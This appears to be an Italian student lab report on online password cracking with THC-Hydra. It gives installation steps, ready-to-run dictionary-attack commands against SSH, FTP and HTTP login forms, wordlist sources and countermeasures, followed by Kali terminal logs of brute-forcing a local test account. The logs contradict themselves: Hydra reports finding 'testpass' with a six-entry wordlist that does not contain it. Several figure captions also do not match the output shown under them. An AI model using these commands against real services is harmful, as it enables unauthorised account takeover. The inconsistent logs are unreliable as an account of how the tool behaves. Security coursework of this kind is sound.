

Password Cracking con Hydra

Relazione tecnica – S6L5

1. Introduzione

Hydra (o *THC-Hydra*) è uno degli strumenti più noti per il *password cracking* online. Sviluppato da *van Hauser* e dal team *THC* (The Hackers Choice), permette di effettuare attacchi di *brute force* e *dictionary attack* contro vari protocolli di rete, tentando automaticamente combinazioni di username e password su servizi esposti.

2. Installazione

2.1 Su Kali Linux / Parrot OS

```
sudo apt update && sudo apt install hydra -y
```

2.2 Su Ubuntu / Debian

```
sudo apt update  
sudo apt install hydra hydra-gtk -y
```

2.3 Compilazione dai sorgenti

```
git clone https://github.com/vanhauser-thc/thc-hydra.git  
cd thc-hydra  
./configure  
make  
sudo make install
```

3. Sintassi di Base

```
hydra -l [USERNAME] -P [WORDLIST] [TARGET] [PROTOCOL]
```

- **-l** : singolo username
- **-L** : file con lista di username
- **-p** : singola password
- **-P** : wordlist (file di password)
- **[TARGET]** : IP o hostname
- **[PROTOCOL]** : servizio (ssh, ftp, http-post-form, rdp, mysql...)

4. Esempi Pratici

4.1 Attacco SSH

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh
```

4.2 Attacco FTP

```
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ftp
```

4.3 Attacco a form di login HTTP

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form
```



5. Opzioni Avanzate

Opzione	Descrizione
<code>-t 4</code>	Connessioni parallele (default: 16)
<code>-vV</code>	Output verboso
<code>-o risultati.txt</code>	Salva risultati su file
<code>-I</code>	Ignora ripristino da salvataggio
<code>-f</code>	Ferma al primo login trovato
<code>-w 30</code>	Timeout tra tentativi (sec)

```
hydra -l admin -P rockyou.txt -t 4 -vV -f 192.168.1.100 ssh
```

6. Wordlist Consigliate

- **rockyou.txt** — 14 milioni di password
- **SecLists** — Repository GitHub ricco di wordlist
- **Probable Wordlists** — Ordinate per probabilità
- **Crunch / Cupp** — Per wordlist personalizzate

Nota: Su Kali: `sudo gunzip /usr/share/wordlists/rockyou.txt.gz`

7. Limitazioni e Contromisure

Limitazioni

- Lento su servizi con latenza elevata
- Può bloccare l'account target
- Rilevabile da IDS/IPS
- Dipende dalla qualità della wordlist

Contromisure

- **Fail2ban** — Blocco automatico IP
- **2FA** — Rende inutile la sola password
- **Password complesse** (≥ 12 caratteri)
- **Rate limiting**
- **Log monitoring**

8. Esempio di Report

```
[22][ssh] host: 192.168.1.100  login: admin  password: password123
```

9. Conclusioni

Hydra è uno strumento potente per il penetration testing, ma va usato solo su sistemi autorizzati. La sicurezza si basa su un approccio a più livelli: password robuste, 2FA, monitoraggio e policy aziendali.


```
3 4 | [x] test_user@kali: ~
Session Actions Edit View Help
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "111111" - 20 of 10000 [child 0] (0/0)
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

(kali@kali)-[~]
$ head -100 /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt > veloce.txt
hydra -l test_user -P veloce.txt 127.0.0.1 -t 1 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizati
ons, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-18 11:33:31
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session fou
nd, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 100 login tries (l:1/p:100), ~100 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[STATUS] 21.00 tries/min, 21 tries in 00:01h, 79 to do in 00:04h, 1 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

(kali@kali)-[~]
$ rm hydra.restore
hydra -l test_user -P veloce.txt 127.0.0.1 -t 1 -I ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizati
ons, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-18 11:35:54
[DATA] max 1 task per 1 server, overall 1 task, 100 login tries (l:1/p:100), ~100 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[STATUS] 18.00 tries/min, 18 tries in 00:01h, 82 to do in 00:05h, 1 active
[STATUS] 16.50 tries/min, 33 tries in 00:02h, 67 to do in 00:05h, 1 active
[STATUS] 16.33 tries/min, 49 tries in 00:03h, 51 to do in 00:04h, 1 active
[STATUS] 16.75 tries/min, 67 tries in 00:04h, 33 to do in 00:02h, 1 active
[STATUS] 17.00 tries/min, 85 tries in 00:05h, 15 to do in 00:01h, 1 active
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-18 11:41:51

(kali@kali)-[~]
$ ssh test_user@127.0.0.1
test_user@127.0.0.1's password:
Linux kali 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jul 18 11:17:46 2026 from 127.0.0.1
(test_user@kali)-[~]
$ echo -e "123456\npassword\npassword\nqwerty\nadmin\nwelcome" > personal.txt
hydra -l test_user -P personal.txt 127.0.0.1 -t 1 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizati
ons, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-18 12:03:17
[DATA] max 1 task per 1 server, overall 1 task, 6 login tries (l:1/p:6), ~6 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-18 12:03:22

(test_user@kali)-[~]
$ hydra -l test_user -P personal.txt 127.0.0.1 -t 1 ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizati
ons, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-18 12:03:42
[DATA] max 1 task per 1 server, overall 1 task, 6 login tries (l:1/p:6), ~6 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-18 12:03:49

(test_user@kali)-[~]
$
```

Figura 2 - Servizi SSH e FTP attivi

```
kali@kali: ~
Session Actions Edit View Help

(kali@kali)-[~]
$ hydra -l test_user -P /usr/share/wordlists/rockyou.txt 127.0.0.1 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-18 10:54:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tas
ks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous s
ession found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-18 10:55:15

(kali@kali)-[~]
$ rm hydra.restore

(kali@kali)-[~]
$ head -5000 /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt > mini.txt
hydra -l test_user -P mini.txt 127.0.0.1 -t 4 -V ssh
head: cannot open '/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt' for reading: No such fi
le or directory
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizati
ons, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-18 10:56:55
[ERROR] File for passwords is empty: mini.txt

(kali@kali)-[~]
$ ls -la mini.txt
-rw-rw-r-- 1 kali kali 0 Jul 18 10:56 mini.txt

(kali@kali)-[~]
$ ls -la /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
ls: cannot access '/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt': No such file or direct
ory

(kali@kali)-[~]
$ ls /usr/share/seclists/Passwords/
Books                                     Keyboard-Walks                               SCRABBLE-hackerhouse.tgz
clarkson-university-82.txt               Leaked-Databases                           scraped-JWT-secrets.txt
Common-Credentials                      Malware                                     seasons.txt
corporate_passwords.txt                 months.txt                                 Software
Cracked-Hashes                          Most-Popular-Letter-Passes.txt             stupid-ones-in-production.txt
darkc0de.txt                             mssql-passwords-nansh0u-guardicore.txt    unknown-azul.txt
days.txt                                openwall.net-all.txt                     WiFi-WPA
Default-Credentials                     Permutations                               Wikipedia
der-postillon.txt                       PHP-Hashes
HoneyPot-Captures                       README.md
```

Figura 3 - Primi tentativi con Hydra

```
kali@kali: ~
Session Actions Edit View Help
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ dpkg -l | grep seclists
ii  seclists                2025.3-0kali1          all          Collect
ion of multiple types of security lists

(kali@kali)-[~]
$ ls /usr/share/seclists/
Discovery  Miscellaneous  Pattern-Matching  README.md  Web-Shells
Fuzzing    Passwords      Payloads          Usernames

(kali@kali)-[~]
$ ls /usr/share/seclists/Usernames/
cirt-default-usernames.txt      README.md
CommonAdminBase64.txt          sap-default-usernames.txt
HoneyPot-Captures              top-usernames-shortlist.txt
mssql-usernames-nanshou-guardicore.txt  xato-net-10-million-usernames-dup.txt
Names                          xato-net-10-million-usernames.txt

(kali@kali)-[~]
$ ls /usr/share/seclists/Passwords/
Books                               Keyboard-Walks                      SCRABBLE-hackerhouse.tgz
clarkson-university-82.txt          Leaked-Databases                   scraped-JWT-secrets.txt
Common-Credentials                 Malware                            seasons.txt
corporate_passwords.txt            months.txt                         Software
Cracked-Hashes                     Most-Popular-Letter-Passes.txt     stupid-ones-in-production.txt
dark0de.txt                        mssql-passwords-nanshou-guardicore.txt  unknwn-azul.txt
days.txt                          openwall.net-all.txt              WiFi-WPA
Default-Credentials                Permutations                       Wikipedia
der-postillon.txt                  PHP-Hashes
HoneyPot-Captures                  README.md

(kali@kali)-[~]
$ hydra -h | head
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FIL
E [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_
OPT] [service://server[:PORT]][/OPT]]

Options:
-R      restore a previous aborted/crashed session
-I      ignore an existing restore file (don't wait 10 seconds)
-S      perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE

(kali@kali)-[~]
$
```

Figura 4 - Password individuata con Hydra